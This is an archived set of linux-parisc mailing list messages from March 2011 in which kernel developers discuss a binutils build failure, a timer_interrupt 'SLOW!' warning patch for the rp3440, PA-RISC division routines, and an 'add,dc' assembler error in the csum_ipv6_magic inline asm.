Content-Disposition: inline
In-Reply-To: <alpine.SOC.1.00.1103132139410.24035@math.ut.ee>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3494>

On Sun, 13 Mar 2011, Meelis Roos wrote:

> Got an answer from binutils bugzilla - we have a problem with
> ENDPROC(flush_alias_page)

I thought the flush_alias_page code was deleted.

It would appear the tmpalias-flush changes from James are not merged in
Linus' kernel tree.  It seems to have gone into linux-next here:
http://git.kernel.org/?p=linux/kernel/git/next/linux-next.git;a=commitdiff;h=f311847c2fcebd81912e2f0caf8a461dec28db41

Your patch should fix the compilation problem but I think we really
want James' tmpalias-flush changes in 2.6.28 based on my testing.
Maybe it should be applied to some of the stable branches.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sun, 13 Mar 2011 17:58:37 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <20110313235837.GB29986@parisc-linux.org>
References: <20110312170831.GA15698@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300060725 10569 80.91.229.12 (13 Mar 2011 23:58:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Mar 2011 23:58:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 00:58:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyvBH-0004TE-U1
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 00:58:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756627Ab1CMX6j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 19:58:39 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:40921 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756624Ab1CMX6j (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 19:58:39 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id 0E62549400A; Sun, 13 Mar 2011 17:58:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110312170831.GA15698@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3495
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3495>

On Sat, Mar 12, 2011 at 12:08:32PM -0500, John David Anglin wrote:
> The attached change fixes the "SLOW!" timer_interrupt warning that I
> occassionally see on my rp3440 (800 MHz).  We need to avoid using the
> expensive div/mul method.  I have seen instances where it takes more
> than 0x7000 cycles.

Hi Dave,
Maybe the patch should be for this line of code instead?
        if (unlikely(now2 - now > 0x3000))      /* 12K cycles */

ie increase the value slightly?

TBH, I didn't spend alot of time trying to figure out the optimal balance
between the two cases that the proposed patch attempts to adjust.

Also, if the div/mul takes up to 0x7000 cycles, another alternative
is to make the alternative faster.  What I suggested in the else case:
        /* TODO: Reduce this to one fdiv op */

doesn't seem possible with fdiv in one op. My reading of the fdiv
operator suggests it would need another FMUL and FSUB op in order
to get the remainder. Still might be vary fast.

Looking through PA 2.0 arch book, looks like the PA2.0
"Divide Step" (DS) operation (page 7-46) does what I was thinking of.
But that's going to require a sequence of DS instructions that
I don't quite understand at the moment and thus can't say how
fast the worst case for DS might be.

hth,
grant


> Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> 
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 05511cc..63071c4 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -76,7 +76,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
>  
>  	cycles_elapsed = now - next_tick;
>  
> -	if ((cycles_elapsed >> 6) < cpt) {
> +	if ((cycles_elapsed >> 7) < cpt) {
>  		/* use "cheap" math (add/subtract) instead
>  		 * of the more expensive div/mul method
>  		 */
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sun, 13 Mar 2011 21:22:34 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <20110314012235.229C64FDB@hiauly1.hia.nrc.ca>
References: <20110313235837.GB29986@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300065764 31136 80.91.229.12 (14 Mar 2011 01:22:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 01:22:44 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 02:22:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PywUZ-0002hk-6L
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 02:22:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756668Ab1CNBWh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 21:22:37 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2998 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756659Ab1CNBWg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 21:22:36 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 229C64FDB; Sun, 13 Mar 2011 21:22:34 -0400 (EDT)
In-Reply-To: <20110313235837.GB29986@parisc-linux.org> from "Grant Grundler" at Mar 13, 2011 05:58:37 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3496
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3496>

> On Sat, Mar 12, 2011 at 12:08:32PM -0500, John David Anglin wrote:
> > The attached change fixes the "SLOW!" timer_interrupt warning that I
> > occasionally see on my rp3440 (800 MHz).  We need to avoid using the
> > expensive div/mul method.  I have seen instances where it takes more
> > than 0x7000 cycles.
> 
> Hi Dave,
> Maybe the patch should be for this line of code instead?
>         if (unlikely(now2 - now > 0x3000))      /* 12K cycles */
> 
> ie increase the value slightly?

I tried that initially.  After bumping it a couple of times, it
seemed like more iterations in the `if' alternative was better as
most instructions only take one cycle.  My sense is that we only
exceed the current limit in rare circumstances.

> TBH, I didn't spend alot of time trying to figure out the optimal balance
> between the two cases that the proposed patch attempts to adjust.
> 
> Also, if the div/mul takes up to 0x7000 cycles, another alternative
> is to make the alternative faster.  What I suggested in the else case:
>         /* TODO: Reduce this to one fdiv op */
> 
> doesn't seem possible with fdiv in one op. My reading of the fdiv
> operator suggests it would need another FMUL and FSUB op in order
> to get the remainder. Still might be vary fast.
> 
> Looking through PA 2.0 arch book, looks like the PA2.0
> "Divide Step" (DS) operation (page 7-46) does what I was thinking of.
> But that's going to require a sequence of DS instructions that
> I don't quite understand at the moment and thus can't say how
> fast the worst case for DS might be.

Currently, I believe that the kernel does integer multiplication
and division using millicode.  If I remember correctly, division
uses the DS instruction.  The situation is worse for 64-bit operations
because HP never released their 64-bit millicode code.  So, gcc does
long division in this case.

I haven't seen any SLOW warnings with the patch I suggested but it
may be a bit inefficient.  I have the sense that the problem occurs
on the rp3440 because it has two dual core cpus.  I have never seen
the warning on machines with a single processor chip.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sun, 13 Mar 2011 19:44:38 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20110314014438.GD29986@parisc-linux.org>
References: <20110312170831.GA15698@hiauly1.hia.nrc.ca> <20110313235837.GB29986@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300067085 3436 80.91.229.12 (14 Mar 2011 01:44:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 01:44:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 02:44:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pywps-0008Qs-5H
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 02:44:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754619Ab1CNBoj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 21:44:39 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:55753 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752329Ab1CNBoj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 21:44:39 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id 3AD9749400A; Sun, 13 Mar 2011 19:44:38 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110313235837.GB29986@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3497
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3497>

On Sun, Mar 13, 2011 at 05:58:37PM -0600, Grant Grundler wrote:
> Also, if the div/mul takes up to 0x7000 cycles, another alternative
> is to make the alternative faster.  What I suggested in the else case:
>         /* TODO: Reduce this to one fdiv op */
> 
> doesn't seem possible with fdiv in one op. My reading of the fdiv
> operator suggests it would need another FMUL and FSUB op in order
> to get the remainder. Still might be vary fast.
> 
> Looking through PA 2.0 arch book, looks like the PA2.0
> "Divide Step" (DS) operation (page 7-46) does what I was thinking of.

Besides spelling "vary" wrong, I wanted to note "ds" is also defined in PA1.1.

> But that's going to require a sequence of DS instructions that
> I don't quite understand at the moment and thus can't say how
> fast the worst case for DS might be.

As I expected, someone already implemented divu using DS in 1992:
    http://www.cs.bham.ac.uk/research/projects/poplog/src/master/C.hppa/src/aarith.s

Essentially the same code is in OpenBSD and also NetBSD:
  http://www.openssh.com/cgi-bin/cvsweb/src/sys/arch/hppa/spmath/divu.S?rev=1.10&content-type=text/x-cvsweb-markup

It's not obvious to me where divU is defined for linux kernel use but
that's probably the right thing to use here. I believe it's part of
"stdlib" and ISTR used by gcc.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sun, 13 Mar 2011 19:50:58 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <20110314015058.GE29986@parisc-linux.org>
References: <20110313235837.GB29986@parisc-linux.org> <20110314012235.229C64FDB@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300067467 4873 80.91.229.12 (14 Mar 2011 01:51:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 01:51:07 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 02:51:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pyww0-0000ov-7O
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 02:51:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755818Ab1CNBu7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 21:50:59 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:60010 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756709Ab1CNBu7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 21:50:59 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id B136049400A; Sun, 13 Mar 2011 19:50:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110314012235.229C64FDB@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3498
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3498>

On Sun, Mar 13, 2011 at 09:22:34PM -0400, John David Anglin wrote:
...
> > Hi Dave,
> > Maybe the patch should be for this line of code instead?
> >         if (unlikely(now2 - now > 0x3000))      /* 12K cycles */
> > 
> > ie increase the value slightly?
> 
> I tried that initially.  After bumping it a couple of times, it
> seemed like more iterations in the `if' alternative was better as
> most instructions only take one cycle.  My sense is that we only
> exceed the current limit in rare circumstances.

Ok. If your patch avoids the case, then it's certainly worth entertaining.

> > TBH, I didn't spend alot of time trying to figure out the optimal balance
> > between the two cases that the proposed patch attempts to adjust.
> > 
> > Also, if the div/mul takes up to 0x7000 cycles, another alternative
> > is to make the alternative faster.  What I suggested in the else case:
> >         /* TODO: Reduce this to one fdiv op */
> > 
> > doesn't seem possible with fdiv in one op. My reading of the fdiv
> > operator suggests it would need another FMUL and FSUB op in order
> > to get the remainder. Still might be vary fast.
> > 
> > Looking through PA 2.0 arch book, looks like the PA2.0
> > "Divide Step" (DS) operation (page 7-46) does what I was thinking of.
> > But that's going to require a sequence of DS instructions that
> > I don't quite understand at the moment and thus can't say how
> > fast the worst case for DS might be.
> 
> Currently, I believe that the kernel does integer multiplication
> and division using millicode.  If I remember correctly, division
> uses the DS instruction.  The situation is worse for 64-bit operations
> because HP never released their 64-bit millicode code.  So, gcc does
> long division in this case.

The URL I provided in other reply:
    http://www.cs.bham.ac.uk/research/projects/poplog/src/master/C.hppa/src/aarith.s

implemented 64-bit/32-bit math. Should be easy to integrate.


> I haven't seen any SLOW warnings with the patch I suggested but it
> may be a bit inefficient.  I have the sense that the problem occurs
> on the rp3440 because it has two dual core cpus.  I have never seen
> the warning on machines with a single processor chip.

The dual core might be competing for a shared resource related to FP?
I don't know either. But if your patch avoids the warning, I'd say apply
it until someone else cares enough to integrate the 64-bit divU and
make use of it here.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sun, 13 Mar 2011 22:16:09 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20110314021609.B97294DF4@hiauly1.hia.nrc.ca>
References: <20110314015058.GE29986@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300068977 10506 80.91.229.12 (14 Mar 2011 02:16:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 02:16:17 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 03:16:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyxKO-0006Rp-AI
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 03:16:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753177Ab1CNCQL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Mar 2011 22:16:11 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3029 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753040Ab1CNCQL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Mar 2011 22:16:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B97294DF4; Sun, 13 Mar 2011 22:16:09 -0400 (EDT)
In-Reply-To: <20110314015058.GE29986@parisc-linux.org> from "Grant Grundler" at Mar 13, 2011 07:50:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3499>

> The URL I provided in other reply:
>     http://www.cs.bham.ac.uk/research/projects/poplog/src/master/C.hppa/src/aarith.s
> 
> implemented 64-bit/32-bit math. Should be easy to integrate.

I'll take a look.  The milli64.S file we currently have in gcc only has
32-bit divI and divU routines.  It seems the URL has a routine with a 64-bit
dividend.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: "add,dc" problem with new binutils in csum_ipv6_magic asm
Date: Mon, 14 Mar 2011 10:29:03 +0200 (EET)
Lines: 59
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103141024040.3640@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1300091353 1768 80.91.229.12 (14 Mar 2011 08:29:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 08:29:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 09:29:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pz39I-0000xR-Mw
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 09:29:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752414Ab1CNI3F (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Mar 2011 04:29:05 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:45348 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752266Ab1CNI3F (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Mar 2011 04:29:05 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id F06FF6E4C0B
	for <linux-parisc@vger.kernel.org>; Mon, 14 Mar 2011 10:29:03 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id E251ADAF81; Mon, 14 Mar 2011 10:29:03 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id D8B5DDAF80
	for <linux-parisc@vger.kernel.org>; Mon, 14 Mar 2011 10:29:03 +0200 (EET)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3500
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3500>


While trying to compile 2.6.38-rc8-00065 on hppa64 with new binutils 
2.21.0.20110302 I hit a problem with inline asm in 64-bit variant of 
csum_ipv6_magic() with first network driver that used it:

  CC [M]  drivers/net/atl1c/atl1c_main.o                    
drivers/net/atl1c/atl1c_main.c:2543: warning: 'atl1c_resume' defined but not used
{standard input}: Assembler messages:
{standard input}:4996: Error: Invalid Add Condition: dc
{standard input}:4997: Error: Invalid Add Condition: dc
{standard input}:4998: Error: Invalid Add Condition: dc
{standard input}:4999: Error: Invalid Add Condition: dc
make[3]: *** [drivers/net/atl1c/atl1c_main.o] Error 1

arch/parisc/include/asm/checksum.h has the corresponding inline asm - it 
seems that add,dc is not accepted by the new binutils.

#define _HAVE_ARCH_IPV6_CSUM
static __inline__ __sum16 csum_ipv6_magic(const struct in6_addr *saddr,
                                          const struct in6_addr *daddr,
                                          __u32 len, unsigned short proto,
                                          __wsum sum)
{
        __asm__ __volatile__ (

#if BITS_PER_LONG > 32

        /*
        ** We can execute two loads and two adds per cycle on PA 8000.
        ** But add insn's get serialized waiting for the carry bit.
        ** Try to keep 4 registers with "live" values ahead of the ALU.
        */

"       ldd,ma          8(%1), %%r19\n" /* get 1st saddr word */
"       ldd,ma          8(%2), %%r20\n" /* get 1st daddr word */
"       add             %8, %3, %3\n"/* add 16-bit proto + len */
"       add             %%r19, %0, %0\n"
"       ldd,ma          8(%1), %%r21\n" /* 2cd saddr */
"       ldd,ma          8(%2), %%r22\n" /* 2cd daddr */
"       add,dc          %%r20, %0, %0\n"
"       add,dc          %%r21, %0, %0\n"
"       add,dc          %%r22, %0, %0\n"
"       add,dc          %3, %0, %0\n"  /* fold in proto+len | carry bit */
"       extrd,u         %0, 31, 32, %%r19\n"    /* copy upper half down */
"       depdi           0, 31, 32, %0\n"        /* clear upper half */
"       add             %%r19, %0, %0\n"        /* fold into 32-bits */
"       addc            0, %0, %0\n"            /* add carry */

#else  



-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: "add,dc" problem with new binutils in csum_ipv6_magic asm
Date: Mon, 14 Mar 2011 09:22:24 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <20110314132225.5A57D4FDC@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1103141024040.3640@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300108952 1996 80.91.229.12 (14 Mar 2011 13:22:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 13:22:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: mroos@linux.ee (Meelis Roos)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 14:22:28 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pz7j9-0001JA-VS
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 14:22:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755809Ab1CNNW1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Mar 2011 09:22:27 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3338 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755026Ab1CNNW0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Mar 2011 09:22:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5A57D4FDC; Mon, 14 Mar 2011 09:22:24 -0400 (EDT)
